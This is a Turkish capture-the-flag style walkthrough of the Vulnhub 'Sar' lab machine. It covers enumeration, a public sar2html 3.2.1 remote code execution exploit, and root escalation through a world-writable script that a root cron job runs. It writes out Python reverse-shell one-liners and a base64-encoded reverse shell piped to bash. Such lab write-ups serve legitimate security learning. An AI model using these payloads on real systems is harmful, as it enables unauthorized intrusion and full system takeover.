Makine Hakkında Bilgiler
Açıklama:
Sar is an OSCP-Like VM with the intent of gaining experience in the world of penetration testing.
Vulnhub Sayfası:
https://www.vulnhub.com/entry/sar-1,425/
İndirme Sayfası:
https://download.vulnhub.com/sar/sar.zip
Walkthrough
Makineyi tespit ederek başlayalım.
┌──(root💀kali)-[~/oscp/sar]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:97:a8:e4, IPv4: 192.168.6.132
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.6.1 00:50:56:c0:00:08 VMware, Inc.
192.168.6.2 00:50:56:f3:da:b0 VMware, Inc.
192.168.6.134 00:0c:29:ca:15:5a VMware, Inc.
192.168.6.134 00:0c:29:ca:15:5a VMware, Inc. (DUP: 2)
192.168.6.254 00:50:56:fd:11:c9 VMware, Inc.
5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.932 seconds (132.51 hosts/sec). 5 responded
nmap taraması ile devam edelim.
[*] Scan: 826
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-09 15:37 EDT
Nmap scan report for 192.168.6.134
Host is up (0.00081s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 00:0C:29:CA:15:5A (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.81 ms 192.168.6.134
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.34 seconds
nikto çıktısında phpinfo buldum daha sonrasında gobuster ile tarama yaptım ve bir sh ile robots.txt elde ettim. sh dosyası garipti ancak robots.txt ile yeni bir path yakaladım.
┌──(root💀kali)-[~/oscp/sar]
└─# gobuster dir --url http://192.168.6.134 --add-slash --expanded --follow-redirect --status-codes-blacklist 404 --extensions php,html,bak,sql,txt,zip,rar,7z,conf,php5,sh,bash,cap,pcap -t 50 -w /usr/share/wordlists/dirb/big.txt --no-error | tee gobuster/1
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.6.134
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: pcap,rar,conf,sh,cap,html,bak,sql,zip,txt,7z,php5,php,bash
[+] Add Slash: true
[+] Follow Redirect: true
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/07/09 13:36:03 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.6.134/.htaccess.sh (Status: 403) [Size: 278]
http://192.168.6.134/.htaccess.cap (Status: 403) [Size: 278]
http://192.168.6.134/.htpasswd.sql (Status: 403) [Size: 278]
http://192.168.6.134/.htpasswd.zip (Status: 403) [Size: 278]
http://192.168.6.134/.htpasswd.rar (Status: 403) [Size: 278]
http://192.168.6.134/.htpasswd.conf (Status: 403) [Size: 278]
http://192.168.6.134/.htpasswd.bash (Status: 403) [Size: 278]
http://192.168.6.134/.htpasswd.php (Status: 403) [Size: 278]
http://192.168.6.134/.htpasswd.pcap (Status: 403) [Size: 278]
http://192.168.6.134/.htpasswd.sh (Status: 403) [Size: 278]
http://192.168.6.134/.htpasswd.7z (Status: 403) [Size: 278]
http://192.168.6.134/.htpasswd/ (Status: 403) [Size: 278]
http://192.168.6.134/.htpasswd.txt (Status: 403) [Size: 278]
http://192.168.6.134/.htpasswd.php5 (Status: 403) [Size: 278]
http://192.168.6.134/.htpasswd.bak (Status: 403) [Size: 278]
http://192.168.6.134/.htpasswd.cap (Status: 403) [Size: 278]
http://192.168.6.134/.htpasswd.html (Status: 403) [Size: 278]
http://192.168.6.134/.htaccess.html (Status: 403) [Size: 278]
http://192.168.6.134/.htaccess.php5 (Status: 403) [Size: 278]
http://192.168.6.134/.htaccess.txt (Status: 403) [Size: 278]
http://192.168.6.134/.htaccess.7z (Status: 403) [Size: 278]
http://192.168.6.134/.htaccess.conf (Status: 403) [Size: 278]
http://192.168.6.134/.htaccess.bash (Status: 403) [Size: 278]
http://192.168.6.134/.htaccess.pcap (Status: 403) [Size: 278]
http://192.168.6.134/.htaccess.sql (Status: 403) [Size: 278]
http://192.168.6.134/.htaccess.zip (Status: 403) [Size: 278]
http://192.168.6.134/.htaccess.bak (Status: 403) [Size: 278]
http://192.168.6.134/.htaccess/ (Status: 403) [Size: 278]
http://192.168.6.134/.htaccess.php (Status: 403) [Size: 278]
http://192.168.6.134/.htaccess.rar (Status: 403) [Size: 278]
http://192.168.6.134/icons/ (Status: 403) [Size: 278]
http://192.168.6.134/index.html (Status: 200) [Size: 10918]
http://192.168.6.134/phpinfo.php (Status: 200) [Size: 95406]
http://192.168.6.134/robots.txt (Status: 200) [Size: 9]
http://192.168.6.134/server-status/ (Status: 403) [Size: 278]
http://192.168.6.134/write.sh (Status: 200) [Size: 30]
===============================================================
2021/07/09 13:37:28 Finished
===============================================================
sar2html Ver 3.2.1 isimli bir uygulamaydı. Bunun üzerine uygulamaya ait bir exploit var mı diye aradım.
┌──(root💀kali)-[~/oscp/sar]
└─# searchsploit sar2html 3.2.1
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
sar2html 3.2.1 - 'plot' Remote Code Execution | php/webapps/49344.py
Sar2HTML 3.2.1 - Remote Command Execution | php/webapps/47204.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
┌──(root💀kali)-[~/oscp/sar]
└─# python3 49344.py 130 ⨯
Enter The url => http://192.168.6.134/sar2HTML
Command => python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.6.132",1822));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Makineden böylece reverse alabilidm. İçeride incelemeler yaparken her zaman kullandığım lse.sh scriptini kullandım. Bulduğum enteresan sonuç aşağıda.
---
[*] ret020 Cron jobs....................................................... yes!
---
/etc/crontab:SHELL=/bin/sh
/etc/crontab:PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
/etc/crontab:17 * * * * root cd / && run-parts --report /etc/cron.hourly
/etc/crontab:25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
/etc/crontab:47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
/etc/crontab:52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
/etc/crontab:*/5 * * * * root cd /var/www/html/ && sudo ./finally.sh
/etc/cron.d/anacron:SHELL=/bin/sh
/etc/cron.d/anacron:PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
/etc/cron.d/anacron:30 7 * * * root [ -x /etc/init.d/anacron ] && if [ ! -d /run/systemd/system ]; then /usr/sbin/invoke-rc.d anacron start >/dev/null; fi
/etc/cron.d/php:09,39 * * * * root [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi
/etc/cron.d/popularity-contest:SHELL=/bin/sh
/etc/cron.d/popularity-contest:PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
/etc/cron.d/popularity-contest:39 11 * * * root test -x /etc/cron.daily/popularity-contest && /etc/cron.daily/popularity-contest --crond
/etc/anacrontab:SHELL=/bin/sh
/etc/anacrontab:PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
/etc/anacrontab:HOME=/root
/etc/anacrontab:LOGNAME=root
/etc/anacrontab:1 5 cron.daily run-parts --report /etc/cron.daily
/etc/anacrontab:7 10 cron.weekly run-parts --report /etc/cron.weekly
/etc/anacrontab:@monthly 15 cron.monthly run-parts --report /etc/cron.monthly
---
*/etc/crontab:/5 root cd /var/www/html/ && sudo ./finally.sh** oldukça ilgi çekici.
www-data@sar:/var/www/html$ alias ls="ls -al"
alias ls="ls -al"
www-data@sar:/var/www/html$ ls
ls
total 40
drwxr-xr-x 3 www-data www-data 4096 Oct 21 2019 .
drwxr-xr-x 4 www-data www-data 4096 Oct 21 2019 ..
-rwxr-xr-x 1 root root 58 Jul 10 01:00 finally.sh
-rw-r--r-- 1 www-data www-data 10918 Oct 20 2019 index.html
-rw-r--r-- 1 www-data www-data 21 Oct 20 2019 phpinfo.php
-rw-r--r-- 1 root root 9 Oct 21 2019 robots.txt
drwxr-xr-x 4 www-data www-data 4096 Oct 20 2019 sar2HTML
-rwxrwxrwx 1 www-data www-data 55 Jul 10 00:04 write.sh
www-data@sar:/var/www/html$ cat finally.sh
cat finally.sh
#!/bin/sh
./write.shBu harika çünkü write.sh'ı kontrol edebiliyoruz. İçerisine python ile bir reverse yazdım.
www-data@sar:/var/www/html$ echo ' echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE5Mi4xNjguNi4xMzIiLDE4MjQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCIvYmluL2Jhc2giKScK | base64 -d | bash
<cHR5LnNwYXduKCIvYmluL2Jhc2giKScK | base64 -d | bash
> ' > write.sh
Daha sonrasında:
┌──(root💀kali)-[~/oscp/sar]
└─# nc -lvp 1824 130 ⨯
listening on [any] 1824 ...
192.168.6.134: inverse host lookup failed: Unknown host
connect to [192.168.6.132] from (UNKNOWN) [192.168.6.134] 55736
root@sar:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@sar:/var/www/html# cd /root
cd /root
root@sar:~# ls
ls
root.txt snap
root@sar:~# cat root.txt
cat root.txt
66f93d6b2ca96c9ad78a8a9ba0008e99
root@sar:~#
İlk Yorumu Siz Yapın